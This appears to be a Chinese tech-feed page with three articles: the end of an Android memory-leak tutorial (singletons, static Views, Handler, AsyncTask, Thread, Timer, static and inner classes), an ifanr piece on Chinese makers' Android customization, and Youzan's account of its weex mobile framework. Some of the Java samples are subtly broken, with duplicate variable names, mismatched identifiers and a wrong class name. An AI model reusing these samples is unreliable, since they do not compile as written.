1、如果此时传入的是 Application 的 Context ,因为 Application 的生命周期就是整个应用的生命周期,所以这将没有任何问题。

2、如果此时传入的是 Activity 的 Context ,当这个 Context 所对应的 Activity 退出时,由于该 Context 的引用被单例对象所持有,其生命周期等于整个应用程序的生命周期,所以当前 Activity 退出时它的内存并不会被回收,这就造成泄漏了。

正确的方式(写法一):

public class AppManager {

    private static AppManager instance;
    private Context context;
    
    private AppManager(Context context) {
        this.context = context.getApplicationContext(); // 使用 Application 的 context
    }
    
    public static AppManager getInstance(Context context) {
        if (instance == null) {
            instance = new AppManager(context);
        }
        return instance;
    }
}

正确的方式(写法二):

// 在你的 Application 中添加一个静态方法,getContext() 返回 Application 的 context

...

context = getApplicationContext();

...
   /**
     * 获取全局的context
     * @return 返回全局context对象
     */
    public static Context getContext(){
        return context;
    }

public class AppManager {

    private static AppManager instance;
    private Context context;
    
    private AppManager() {
        this.context = MyApplication.getContext(); // 使用Application 的context
    }
    
    public static AppManager getInstance() {
        if (instance == null) {
            instance = new AppManager();
        }
        return instance;
    }
}

静态Activity

我们看一段代码:

public class MainActivity extends AppCompatActivity {
    private static MainActivity activity;         // 这边设置了静态Activity,发生了内存泄漏
    TextView saButton;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        saButton = (TextView) findViewById(R.id.text);
        saButton.setOnClickListener(new View.OnClickListener() {
            @Override public void onClick(View v) {
                setStaticActivity();
                nextActivity();
            }
        });
    }
    void setStaticActivity() {
        activity = this;
    }

    void nextActivity(){
        startActivity(new Intent(this,RegisterActivity.class));
        SystemClock.sleep(1000);
        finish();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
    }
}

在上面代码中,我们声明了一个静态的 Activity 变量并且在 TextView 的 OnClick 事件里引用了当前正在运行的 Activity 实例,所以如果在 activity 的生命周期结束之前没有清除这个引用,则会引起内存泄漏。因为声明的 activity 是静态的,会常驻内存,如果该对象不清除,则垃圾回收器无法回收变量。

我们可以这样解决:

    protected void onDestroy() {
        super.onDestroy();
        activity = null;       // 在onDestory方法中将静态变量activity置空,这样垃圾回收器就可以将静态变量回收
    }

静态View

其实和静态Activity颇为相似,我们看下代码:

    ...
    private static View view;               // 定义静态View
    TextView saButton;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        saButton = (TextView) findViewById(R.id.text);
        saButton.setOnClickListener(new View.OnClickListener() {
            @Override public void onClick(View v) {
                setStaticView();
                nextActivity();
            }
        });
    }
    void setStaticView() {
        view = findViewById(R.id.sv_view);
    }
    ...

View一旦被加载到界面中将会持有一个Context对象的引用,在这个例子中,这个context对象是我们的Activity,声明一个静态变量引用这个View,也就引用了activity,所以当activity生命周期结束了,静态View没有清除掉,还持有activity的引用,因此内存泄漏了。

我们可以这样解决:

protected void onDestroy() {
    super.onDestroy();
    view = null;         // 在onDestroy方法里将静态变量置空
} 

匿名类/AsyncTask

我们看下面的例子:

public class MainActivity extends AppCompatActivity {
    void startAsyncTask() {
        new AsyncTask<Void, Void, Void>() {
            @Override protected Void doInBackground(Void... params) {
                while(true);
            }
        }.execute();
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        View aicButton = findViewById(R.id.at_button);
        aicButton.setOnClickListener(new View.OnClickListener() {
            @Override 
            public void onClick(View v) {
                startAsyncTask();
            }
        });
    }
}

上面代码在activity中创建了一个匿名类 AsyncTask,匿名类和非静态内部类相同,会持有外部类对象,这里也就是activity,因此如果你在 Activity 里声明且实例化一个匿名的AsyncTask对象,则可能会发生内存泄漏,如果这个线程在Activity销毁后还一直在后台执行,那这个线程会继续持有这个Activity的引用从而不会被GC回收,直到线程执行完成。

我们可以这样解决:

自定义静态 AsyncTask 类,并且让 AsyncTask 的周期和 Activity 周期保持一致,也就是在 Activity 生命周期结束时要将 AsyncTask cancel 掉。

非静态内部类

有的时候我们可能会在启动频繁的Activity中,为了避免重复创建相同的数据资源,可能会出现这种写法:

public class MainActivity extends AppCompatActivity {

    private static TestResource mResource = null;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        
        if(mManager == null){
            mManager = new TestResource();
        }
        //...
    }

    class TestResource {
        //...
    }
}

上面这段代码在Activity内部创建了一个非静态内部类的单例(mManager),每次启动Activity时都会使用该单例的数据,这样虽然避免了资源的重复创建,不过这种写法却会造成内存泄漏。

因为非静态内部类默认会持有外部类的引用,而该非静态内部类又创建了一个静态的实例,该实例的生命周期和应用的一样长,这就导致了该静态实例一直会持有该Activity的引用,导致Activity的内存资源不能正常回收。

正确的做法为:

将该内部类设为静态内部类或将该内部类抽取出来封装成一个单例,如果需要使用Context,请按照上面推荐的使用Application 的 Context。当然,Application 的 context 不是万能的,所以也不能随便乱用,对于有些地方则必须使用 Activity 的 Context。

Handler

Handler 的使用造成的内存泄漏问题应该说是 最为常见 了,很多时候我们为了避免 ANR 而不在主线程进行耗时操作,在处理网络任务或者封装一些请求回调等api都借助Handler来处理,但 Handler 不是万能的,对于 Handler 的使用代码编写不规范即有可能造成内存泄漏。另外,我们知道 Handler、Message 和 MessageQueue 都是相互关联在一起的,万一 Handler 发送的 Message 尚未被处理,则该 Message 及发送它的 Handler 对象将被线程 MessageQueue 一直持有。

由于 Handler 属于 TLS(Thread Local Storage) 变量, 生命周期和 Activity 是不一致的。因此这种实现方式一般很难保证跟 View 或者 Activity 的生命周期保持一致,故很容易导致无法正确释放。

public class SampleActivity extends Activity {

    private final Handler mLeakyHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            // ...
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Post a message and delay its execution for 10 minutes.
        mLeakyHandler.postDelayed(new Runnable() {
            @Override
            public void run() { /* ... */ }
        }, 1000 * 60 * 10);

        // Go back to the previous Activity.
        finish();
    }
}

在该 SampleActivity 中声明了一个延迟 10分钟执行的消息 Message,mLeakyHandler 将其 push 进了消息队列 MessageQueue 里。当该 Activity 被 finish() 掉时,延迟执行任务的 Message 还会继续存在于主线程中,它持有该 Activity 的 Handler 引用,所以此时 finish() 掉的 Activity 就不会被回收了从而造成内存泄漏(因 Handler 为非静态内部类,它会持有外部类的引用,在这里就是指 SampleActivity)。

正确的做法为:

在 Activity 中避免使用非静态内部类,比如上面我们将 Handler 声明为静态的,则其存活期跟 Activity 的生命周期就无关了。同时通过弱引用的方式引入 Activity,避免直接将 Activity 作为 context 传进去,见下面代码:

public class SampleActivity extends Activity {

    private static class MyHandler extends Handler {
        private final WeakReference<SampleActivity> mActivity;

        public MyHandler(SampleActivity activity) {
            mActivity = new WeakReference<SampleActivity>(activity);
        }

        @Override
        public void handleMessage(Message msg) {
            SampleActivity activity = mActivity.get();
            if (activity != null) {                              // 每次使用前注意判空
                // ...
            }
        }
    }

    private final MyHandler mHandler = new MyHandler(this);

    private static final Runnable sRunnable = new Runnable() {
        @Override
        public void run() { /* ... */ }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Post a message and delay its execution for 10 minutes.
        mHandler.postDelayed(sRunnable, 1000 * 60 * 10);

        // Go back to the previous Activity.
        finish();
    }
}

从上面的代码中我们可以看出如何避免Handler内存泄漏,推荐使用 "静态内部类 + WeakReference" 这种方式,每次使用前注意判空。

Java对引用的分类有Strong reference、SoftReference、WeakReference、PhatomReference四种。

级别回收机制用途生存时间
从来不会对象的一般状态JVM停止运行时终止
在内存不足时联合ReferenceQueue构造有效期短/占内存打/生命周期长的对象的二级高速缓冲器(内存不足时才情况)内存不足时终止
在垃圾回收时联合ReferenceQueue构造有效期短/占内存打/生命周期长的对象的一级高速缓冲器(系统发生gc时清空)gc运行后终止
在垃圾回收时联合ReferenceQueue来跟踪对象被垃圾回收期回收的活动gc运行后终止

在Android应用的开发中,为了防止内存溢出,在处理一些占用内存大而且声明周期较长的对象时候,可以尽量应用软引用和弱引用技术。

软/弱引用可以和一个引用队列(ReferenceQueue)联合使用,如果软引用所引用的对象被垃圾回收器回收,Java虚拟机就会把这个软引用加入到与之关联的引用队列中。利用这个队列可以得知被回收的软/弱引用的对象列表,从而为缓冲器清除已失效的软/弱引用。

Thread

看个范例:

public class SampleActivity extends Activity {
    void spawnThread() {
        new Thread() {
            @Override public void run() {
                while(true);
            }
        }.start();
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        View tButton = findViewById(R.id.t_button);
        tButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                spawnThread();
            }
        });
    }
}

其实这边发生的内存泄漏原因跟AsyncTask是一样的。

正确的做法为:

我们自定义Thread并声明成static这样可以吗?其实这样的做法并不推荐,因为Thread位于GC根部,DVM会和所有的活动线程保持hard references关系,所以运行中的Thread绝不会被GC无端回收了,所以正确的解决办法是在自定义静态内部类的基础上给线程加上取消机制,因此我们可以在Activity的onDestroy方法中将thread关闭掉。

Timer Tasks

看个范例:

public class SampleActivity extends Activity {
    void scheduleTimer() {
        new Timer().schedule(new TimerTask() {
            @Override
            public void run() {
                while(true);
            }
        },1000);
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        View ttButton = findViewById(R.id.tt_button);
        ttButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
            scheduleTimer();
            }
        });
    }
}

这里内存泄漏在于Timer和TimerTask没有进行Cancel,从而导致Timer和TimerTask一直引用外部类Activity。

正确的做法为:

在适当的时机进行Cancel。

Sensor Manager

看个范例:

public class SampleActivity extends Activity {
    void registerListener() {
           SensorManager sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE);
           Sensor sensor = sensorManager.getDefaultSensor(Sensor.TYPE_ALL);
           sensorManager.registerListener(this, sensor, SensorManager.SENSOR_DELAY_FASTEST);
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        View smButton = findViewById(R.id.sm_button);
        smButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                registerListener();
            }
        });
    }
}

通过Context调用getSystemService获取系统服务,这些服务运行在他们自己的进程执行一系列后台工作或者提供和硬件交互的接口,如果Context对象需要在一个Service内部事件发生时随时收到通知,则需要把自己作为一个监听器注册进去,这样服务就会持有一个Activity,如果开发者忘记了在Activity被销毁前注销这个监听器,这样就导致内存泄漏。

正确的做法为:

在onDestroy方法里注销监听器。

尽量避免使用 static 成员变量

如果成员变量被声明为 static,那我们都知道其生命周期将与整个app进程生命周期一样。

这会导致一系列问题,如果你的app进程设计上是长驻内存的,那即使app切到后台,这部分内存也不会被释放。按照现在手机app内存管理机制,占内存较大的后台进程将优先回收,如果此app做过进程互保保活,那会造成app在后台频繁重启。当手机安装了你参与开发的app以后一夜时间手机被消耗空了电量、流量,你的app不得不被用户卸载或者静默。

这里修复的方法是:

不要在类初始时初始化静态成员。可以考虑lazy初始化(使用时初始化)。架构设计上要思考是否真的有必要这样做,尽量避免。如果架构需要这么设计,那么此对象的生命周期你有责任管理起来。

避免 override finalize()

1、finalize 方法被执行的时间不确定,不能依赖与它来释放紧缺的资源。时间不确定的原因是:
虚拟机调用GC的时间不确定
Finalize daemon线程被调度到的时间不确定

2、finalize 方法只会被执行一次,即使对象被复活,如果已经执行过了 finalize 方法,再次被 GC 时也不会再执行了,原因是:

含有 finalize 方法的 object 是在 new 的时候由虚拟机生成了一个 finalize reference 在来引用到该Object的,而在 finalize 方法执行的时候,该 object 所对应的 finalize Reference 会被释放掉,即使在这个时候把该 object 复活(即用强引用引用住该 object ),再第二次被 GC 的时候由于没有了 finalize reference 与之对应,所以 finalize 方法不会再执行。

3、含有Finalize方法的object需要至少经过两轮GC才有可能被释放。

集合对象及时清除

我们通常会把一些对象的引用加入到集合容器(比如ArrayList)中,当我们不再需要该对象时,并没有把它的引用从集合中清理掉,这样这个集合就会越来越大。如果这个集合是static的话,那情况就更严重了。

所以在退出程序之前,将集合里面的东西clear,然后置为null,再退出程序,如下:

private List<String> nameList;
private List<Fragment> list;

@Override
public void onDestroy() {
    super.onDestroy();
    if (nameList != null){
        nameList.clear();
        nameList = null;
    }
    if (list != null){
        list.clear();
        list = null;
    }
}

webView

当我们不再需要使用webView的时候,应该调用它的destory()方法来销毁它,并释放其占用的内存,否则其占用的内存长期也不能回收,从而造成内存泄漏。

正确的做法为:

为webView开启另外一个进程,通过AIDL与主线程进行通信,webView所在的进程可以根据业务的需要选择合适的时机进行销毁,从而达到内存的完整释放。

资源未关闭

对于使用了BraodcastReceiver,ContentObserver,File,游标 Cursor,Stream,Bitmap等资源的使用,应该在Activity销毁时及时关闭或者注销,否则这些资源将不会被回收,造成内存泄漏。

拓展 -- 相关知识点

static 关键字

使用static声明属性

如果在程序中使用static声明属性,则此属性称为全局属性(也称静态属性),那么声明成全局属性有什么用?我们看下代码:

class Person {
    String name;
    int age;
    static String country = "A城";
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
    public void info() {
        System.out.println("姓名:" + this.name + ",年龄:" + this.age + ",城市:" + country);
    }
};

public class Demo {
    public static void main(String agrs[]) {
        Person p1 = new Person("张三", 30);
        Person p1 = new Person("李四", 31);
        Person p1 = new Person("王五", 32);
        Person.country = "B城";
        p1.info();
        p2.info();
        p3.info();
    }
}

以上程序很清晰的说明了static声明属性的好处,需要注意一点的是,类的公共属性应该由类进行修改是最合适的(当然也可以p1.country = ...),有时也就把使用static声明的属性称为类属性。

使用static声明方法

直接看下代码就清楚了:

class Person {
    private String name;
    private int age;
    private static String country = "A城";
    public static void setCountry(String C) {
        country = c;
    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
    public void info() {
        System.out.println("姓名:" + this.name + ",年龄:" + this.age + ",城市:" + country);
    }
    public static String getCountry() {
        return country;
    }
};

public class Demo {
    public static void main(String agrs[]) {
        Person p1 = new Person("张三", 30);
        Person p1 = new Person("李四", 31);
        Person p1 = new Person("王五", 32);
        Person.setCountry("B城");
        p1.info();
        p2.info();
        p3.info();
    }
}

【特殊说明】

       非static声明的方法可以调用static声明的属性或方法
       static声明的方法不能调用非static声明的属性或方法

比如以下代码就会出错:

class Person {
    private static String country = "A城";
    private String name = "Hello";
    public static void sFun(String C) {
        System.out.println("name = " + name);       // 错误,不能调用非static属性
        fun();                                      // 错误,不能调用非static方法
    }
    public void fun() {
        System.out.println("World!!!");
    }
};

内部类

基本定义

我们都知道,在类内部可以定义成员变量与方法,同样,在类内部也可以定义另一个类。如果在类Outer的内部定义一个类Inner,此时类Inner就称为内部类,而类Outer则称为外部类。

内部类可声明成 public 或 private。当内部类声明成 public 或 private时,对其访问的限制与成员变量和成员方法完全相同。

内部类的定义格式

标识符 class 外部类的名称 {
    // 外部类的成员
    标识符 class 内部类的名称 {
        // 内部类的成员
    }
}

内部类的好处

可以方便地访问外部类中的私有属性!

静态内部类

使用static可以声明属性或方法,而使用static也可以声明内部类,用static声明的内部类就变成了外部类,但是用static声明的内部类不能访问非static的外部类属性。

比如如下例子:

class Outer {
    private static String info = "Hello World!!!";    // 如果此时info不是static属性,则程序运行报错
    static class Inner {
        public void print() {
            System.out.println(info);
        }
    };
};

public class InnerClassDemo {
    public static void main(String args[]) {
        new Outer.Inner().print();
    }
}

执行结果:

Hello World!!!

在外部访问内部类

一个内部类除了可以通过外部类访问,也可以直接在其他类中进行调用。

【在外部访问内部类的格式】

外部类.内部类 内部类对象 = 外部类实例.new 内部类();
class Outer {
    private String info = "Hello World!!!";  
    class Inner {
        public void print() {
            System.out.println(info);
        }
    };
};

public class InnerClassDemo {
    public static void main(String args[]) {
        Outer out = new Out();              // 实例化外部类对象
        Outer.Inner in = out.new Inner();   // 实例化内部类对象
        in.print();                         // 调用内部类方法
    }
}

在方法中定义内部类

除了在外部类中定义内部类,我们也可以在方法中定义内部类。但是需要注意的是,在方法中定义的内部类不能直接访问方法中的参数,如果方法中的参数想要被内部类访问,则参数前必须加上final关键字。

class Outer {
    private String info = "Hello World!!!";
    public void fun(final int temp) {      // 参数要被访问必须用final声明
        class Inner {
            public void print() {
                System.out.println("类中的属性:" + info);
                System.out.println("方法中的参数:" + temp);
            }
        };
        new Inner().print();
    }
};

public class InnerClassDemo {
    public static void main(String args[]) {
        new Outer().fun(30);               // 调用外部类方法              
    }
}

总结

在开发中,内存泄漏最坏的情况是app耗尽内存导致崩溃,但是往往真实情况不是这样的,相反它只会耗尽大量内存但不至于闪退,可分配的内存少了,GC便会更多的工作释放内存,GC是非常耗时的操作,因此会使得页面卡顿。我们在开发中一定要注意当在Activity里实例化一个对象时看看是否有潜在的内存泄漏,一定要经常对内存泄漏进行检测。

参考

 01. https://developer.android.goo...
 02. https://developer.android.goo...
 03. https://www.jianshu.com/p/f77...

重新改造 Android 的中国手机厂商

$
0
0

从过去大半年的情况来看,中国手机厂商已经推出了不少让人印象深刻的 Android 手机设备,但在欧美地区,许多用户仍然不愿意将它们作为主力机使用。

其中很重要一点原因是系统和软件的问题。对他们而言,中国的 Android 手机系统过于花哨,而且功能臃肿,预装软件的类型和数量也和其它地区的不太相同。

为什么会有这种现象?

近期,The Verge 的编辑 Sam Byford  便发表了一篇题为《 How China rips off the iPhone and reinvents Android》的文章,以国外用户的视角,向我们描述了小米、vivo 和一加等中国手机厂商定制 Android 系统的现状,以及存在的一些问题。

很凑巧的是,这三者,也代表了目前中国三种主流的开发思路。

没有 Google,中国手机厂商只能做自己的服务

如果你想在中国制造 Android 手机,必须要面对一个现实问题:在这片土地,你没法使用和 Google 有关的大部分服务。

这意味着只要不通过特殊手段,大部分人没办法建立自己的 Google 账号,用不了 Google 地图,更不要说从 Play Store 上购买付费应用了。

在这种情形下,大部分中国手机厂商只能借助名为「AOSP」的 Android 开源项目,保留 Android 系统底层的同时开发自己软件功能,打造独立的账号体系,甚至是每家都有自己的应用商店。

而小米,便选择在一个恰当的时机进入市场,它通过 MIUI 起家,用互联网产品的节奏做好了一个 Android 定制系统。

▲ 图片来自: The Verge

Sam Byford 采访了英国的小米设计师 Robin,在他看来,智能手机的硬件和软件设计有着明显的不同,如果说硬件 ID 是关乎空间,那么软件设计就是关乎时间。

当设计一个大屏幕手机时,我们会寻求屏幕尺寸与手机体积之间的平衡,比如说让屏幕做的更薄一些。如果是软件,则要从用户体验和各种操作流程中来体现。

Robin 举了一个例子,当你启动应用前,你必须要先经历点亮屏幕并解锁手机的的过程,而 MIUI 则对过程中的动画和设计进行了修改,使其变得更简洁和精美,同样的,你在 MIUI 中也看不到原生 Android 中的应用抽屉设计。

事实上,这些定制功能对小米用户十分重要,他们喜欢在计算器中做各种换算,又或者是标注陌生来电,还有快速调用第三方应用接口的「传送门」,这可以看作是中国版的「Now on Tap」功能。

为了扩展海外市场,如今小米在开发 MIUI 系统时还要对中国用户和海外用户进行区分。比如在印度,小米就选择和当地的电商巨头 Paytm 合作提供二维码扫描,同时还和购物网站 Flipkart 合作的提供了直接从短信页面跳转到购物网站查看订单的特性。

而在拍照上,考虑到亚太地区的用户更喜欢磨皮等美颜效果,欧美地区则更追求自然,在服务好中国用户的同时,小米也要开发另一套方案。

让用户提出需求,并深入参与到软件设计过程中,实现软件系统的快速迭代,是小米手机和 MIUI 能够快速成长的一个重要原因。不可否认的是,它已经由当初的小众玩物变成了一个稳定可靠的大众系统,但伴随着版本数的不断迭代,MIUI 也需要面对臃肿和复杂的问题。

为什么要把系统做得和 iOS 一样?

中国并不是只有「小米模式」的存在,Sam Byford 还提及了 vivo 打造的 Funtouch OS。在他看来,vivo 更倾向于打造出色的硬件,但在软件系统层面却很少会进行核心功能的打造。

正因如此,即便 vivo 在今年打造出了一款“非常疯狂”的 NEX 手机,可它的系统里还是有 iOS 的影子。比如上滑的控制中心,已经不能用「纯属巧合」来形容了,这也不止是一家厂商的问题。

不过,考虑到中国数亿 iPhone 用户基数,vivo 仍然有这么做的理由。

▲ 图片来自: The Verge

一名 vivo 产品经理向 Sam Byford 表示,vivo 不会为了创新而创新,核心目标还是满足客户对最佳手机体验的需求,这自然就包含了使用微信,浏览网页,或是拍照听音乐等

vivo 目前的表现,是我们愿意倾听并理解消费者行为的结果,比如说相机,它的 UI 设计也要根据消费者的习惯来决定,最终通过测试找到最有效率的设计方法。

但这种决策并无法摆脱苹果的影子,更何况,这个所谓的「最佳手机体验」,很可能也是将 iOS 作为参照物的,毕竟苹果就是用出色的软件体验来辅助硬件差异化,这是苹果商业模式的关键。

基于这点,将产品的操作界面尽可能的模仿 iPhone,从商业层面考虑也确实有一定的意义。

一加 CEO 刘作虎就认为,很多厂商打造一个和 iOS 类似交互的系统,或许只是想让用户的换机门槛变得更低,这样就算是从 iPhone 换成一台 Android,交互逻辑还是一样的。

而小米的 Robin 也表示,苹果在这个行业拥有足够大的权威,更何况它也总是能创造出足够人性化的产品。

还有一点原因可能和微信有关。Ben Thompson 曾在去年撰写的《 Apple’s China Problem》中提及,在其它国家,让一名核心 iPhone 用户切换到 Android 品牌的手机是很困难的事,这意味着他要放弃很多苹果生态圈独有的体验。

可在中国地区,智能手机不存在太多的「换机成本」。中国的手机用户和微信绑定得很深,以至于这个绿色聊天应用更像是手机的系统核心,而不是 iOS 或 Android。

不过,最终是否要在 UI 和交互上摆脱掉 iOS 系统的影子,这依旧是一个值得思考的问题。

追求原生的可能性

在系统开发上,一加则代表了中国 Andorid 厂商的第三种方向——追求和 Google 相近的原生系统体验,即不会对功能做太多的修改以及自定义。刘作虎在接受 Sam Byford 采访中说:

我们希望提供一种无负担的体验,所以在系统层面会更追求轻便、流畅的部分,而不是盲目地加新功能,除非我们认为这项功能可以为用户增添更多价值。

事实也证明,这个理念同样能成为 Android 差异化的卖点。虽然一加手机在中国地区的销量不算很高,但在欧美地区却特别受欢迎。

对比三星 LG 等传统大牌厂商,一加手机可以在同等配置下给出更优惠的价格,而简洁流畅的 Oxygen OS 也是成功的关键因素。

▲ 图片来自: CNET

在中国,一加选择开发了更加本土化的「氢OS」,在保留接近原生 Android 体验的同时,也包含了一些定制化的功能服务。

尽管一加的风格和其它厂商大相迳庭,但在刘作虎看来,中国用户对于手机系统的使用习惯已经发生了变化,这和其它地区的趋势是一致的:「大家都会对快速、流畅的体验提出更细分的要求,而不仅仅只是差异化或是个性化。」

只不过,变化是否真的会到来还不好说,这需要等待,也需要时间。

题图来源: Android Headlines

#欢迎关注爱范儿官方微信公众号:爱范儿(微信号:ifanr),更多精彩内容第一时间为您奉上。

爱范儿 |原文链接· 查看评论· 新浪微博


基于weex的有赞无线开发框架

$
0
0

出于对开发效率和动态化的要求,无线端的开发框架也一直在更新,从 Hybrid、结构化 Native View、React Native、Weex,再到现在正在大受关注的 Flutter。什么样的框架才是适合自己的团队?不仅要有技术追求,而且要考虑实际业务需要。最近,有赞移动选择了 weex 作为无线开发框架,搭建了从开发、Debug、构建、发布、数据一个闭环的流程。本文将对此进行分享。

开发闭环

一、什么是 weex

Weex 是阿里巴巴开源的一套构建高性能、可扩展的原生应用跨平台开发方案。首先总结一下 weex 的特点:

  1. 页面的开发目前支持 RaxVue

    Weex 也不是只支持 Vue 和 Rax,你也可以把自己喜欢的前端框架集成到 Weex 中,有一个文档 扩展前端框架描述了如何实现,但是这个过程仍然非常复杂和棘手,你需要了解关于 js-native 之间通信和原生渲染引擎的许多底层细节。

  2. 一次编写,三端(Android、iOS、前端)运行

    前提是都集成了 weex sdk,另外视觉表现做不到完全一样,有的会有一些差异,需要做一下适配。所以写 weex 页面的时候,如果支持三端,便需要在三端都进行自测。

  3. UI 的绘制通过 native 的组件,JavaScript 逻辑在 JS 引擎里运行,两者通过 JavaScriptCore 通信

    weex 里使用组件都需要在 native 端注册,这样 weex 里才可以使用,运行的时候通过注册时记录的 map 进行查找。weex sdk 内置注册了一些基础的组件,包括 list、text、input 等。WXJSCoreBridge 封装了 JavaScriptCore 实现 native 和 js 之间的通信。

  4. 支持 Native 扩展

    可以将 native 的 UI 组件封装成 component,将 native 的逻辑代码封装成 module。从而在 weex 里可以进行使用。这里的 natiev UI 组件包括 modal、webview、image 等,这里的 native 逻辑代码包括 storage、network 等。

  5. 每个 weex 页面会被打包成一个 js 文件,weex sdk 将 js 文件渲染成一个 view
    weex 的打包通过 webpack,将每个页面打包成独立的一个 js 文件,weex sdk 会将 js 进行解析,将 UI 部分绘制成一个 view, 再绑定 view 的事件与 js 代码绑定。

二、为什么要使用weex进行无线开发

1. 效率问题

1)开发的人力成本

如果不算 web 端,一个页面本来需要 Android 和 iOS 2个人开发;使用 weex 后只需要 1个开发页面。

2)开发的编译速度

随着项目渐渐变得庞大,Android 项目一次编译需要 2-3 分钟,机器不好的还需要 10 分钟,iOS 可能会快一点,也需要 1-2 分钟。使用 weex 后,界面修改,只需要 十几秒

3)测试效率

提测之后,发现 bug,修复完成,测试总需要重新下载一个包进行安装;使用 weex 后,跟原生无关的 bug,只要测试重启 App 就可以进行验证。

2. 动态化

weex 页面最后打包完是一个 js 文件,只要能做到动态下发 JavaScript,那便可以实现动态化,可以热修复,甚至可以热部署,完全替换或者新增页面。

3. 成熟度

在 2016 年阿里双十一中,Weex 在阿里双十一会场中的覆盖率接近 99%,页面数量接近 2000,覆盖了包括主会场、分会场、分分会场、人群会场在内几乎所有的阿里双十一会场业务。阿里双十一主会场秒开率97%,全部会场页面达到 93%。
2016 年 12 月 15 日,阿里巴巴宣布将移动开源项目 Weex 捐赠给 Apache 基金会开始孵化。
2017 年,weex 在阿里业务里增长如下图,来自 WeexConf 2018。

阿里业务增长

4. 接入成本

经过实践,一个移动端开发,一周时间就可以开始进行使用 weex 进行业务开发。

三、如何使用 weex 进行无线开发

weex 其实是一套方案,各个流程很多东西需要自己建设,把它建设得让小伙伴可以以较小成本开始使用 weex,把它建设得融入已有的系统。这方面,我们目前做了下面这几个方面,还任重道远。

zanweex 建设

1. 开发工具 zweex-toolkit

这是一个脚手架工具,基于 weex 官方的 weex-toolkit,用于新建 weex 工程,目前只支持 vue。

随着页面的增多,业务的复杂,工程会慢慢变得庞大,每次运行的时候如果全部页面都运行起来比较慢。为了解决这个问题,使用 zweex-toolkit 创建建的工程模板支持运行的时候,支持只运行指定目录下的页面,只要在 npm start 后加上参数即可,如:

npm run start hi,helloworld

这样就表示只运行 hi 目录下和 helloworld 下的页面。
另外,我们支持:

  • 新增页面 zweex page
  • 开启调试 zweex debug

2. ZanWeex SDK 的实现

官方 weex sdk 做的事情,就是输入一个 js 文件,然后返回一个view。考虑到每个应用的路由和个性化的需要,这一点,ZanWeex SDK 没有做其他工作,也还是返回了一个view,业务方可以根据自己的需要将view添加到自己想要展示的地方。ZanWeex SDK 做的事情主要有如下几方面:

1) 支持下发配置,支持动态化,可以完成整个页面的替换

weex 页面打包后的结果是一个 js 文件,所以可以进行下发进行动态更新,那么就需要有一份配置,来关联页面路由和 js 文件的关系,于是我们设计了这样的数据结构:

h5:页面路由地址,可以直接使用发布平台生成的 h5 地址

js:打包后的 js 文件地址

version:支持的最低 App 版本,因为新页面如果需要 native 扩展,那就需要发布新版本进行支持

md5:为了校验完整性,我们在配置里添加每个 js 文件的 md5。

2) 支持多模块独立配置,互不影响
一个App里会有多个模块,每个模块可能由独立的团队进行负责,所以为了减少耦合,我们将配置独立,每个模块可以独立管理自己的配置,独立接入weex,不依赖于宿主App。

3) 预加载页面模板,支持页面模板缓存和配置缓存

  • 如果没有缓存,每次都从服务端拉取页面模板,那么是不可能达到秒开的,跟没有做缓存的H5页面就区别不大了。我们SDK会预加载页面模板到本地,打开过的页面会缓存到内存。这样渲染的时间就更接近原生的渲染时间了。

4) 支持开发时的hot reloading,前端开发般的体验

  • 如果没有hot reloading,那么每次修改完页面,都得退出页面重新进入。为了省去这个操作,hot reloading是必须的。
  • weex 工程里本地开发时候,通过webpack-dev-server来启动一个websocket,zan weex sdk 打开一个weex页面后,去与它建立连接。webpack-dev-server将工程的编译状态发送给ZanWeex SDK,当接收到渲染完成的指令时,就重新渲染页面,从而达到 hot reloading的目的。

5) 支持页面的适配,提供环境变量
ZanWeex SDK 会提供以下四个变量共 weex 页面使用,方便完成页面配置。

  • 容器的高度:weex.config.yzenv.viewHeight
  • 容器的宽度:weex.config.yzenv.viewWidth
  • 状态栏高度:weex.config.yzenv.statusBarHeight
  • 底部栏高度(针对iPhone X,其他为0):weex.config.yzenv.bottomHeight

6) 开发阶段日志的查看
在开发阶段,weex sdk 源码里输出的日志以及 js 里通过 console.log 输出的日志,还有 js 运行的报错,都只能通过 XCode 和 Android Studio 进行查看。这对于一个只了解一端的开发人员是非常不方便的。于是我们做了一个入口,在打开 weex 页面的时候,会显示该入口,点击即可查看所输出的日志。

7) 参数传递
正向传参:从 A 页面跳转到 B 页面,参数传递是开发过程肯定会遇见的一个场景。SDK 对外提供的渲染接口 renderByH5 的参数包括 url,params,data。业务方进行渲染的时候,可以将参数直接跟在 url 后面,或者通过 params、data 传入,不同方式,取的方式也不一样:

  • url 后面的参数,会传入 data,weex 页面里直接在 data 里定义参数就会自动赋值;
  • params的参数,在 weex 页面里可以通过 weex.config.name 来获取;
  • data 传入的参数,获取方式同第一种。
  • 反向传参:从 B 页面返回到 A 页面的时候,携带参数返回也是很常见的一个场景。SDK 提供了统一的存储类 ZParamStorage 来临时存储参数。页面 B 要返回的时候先把数据存入存储区,A 页面显示的时候再从存储区获取,然后清空存储区。
  • 非跳转的参数传递:weex 页面之间,可以采用 BroadcastChannel 进行传参,weex 与 native 之间的传递可以通过自己封装 Module 进行实现。

3. 页面的开发

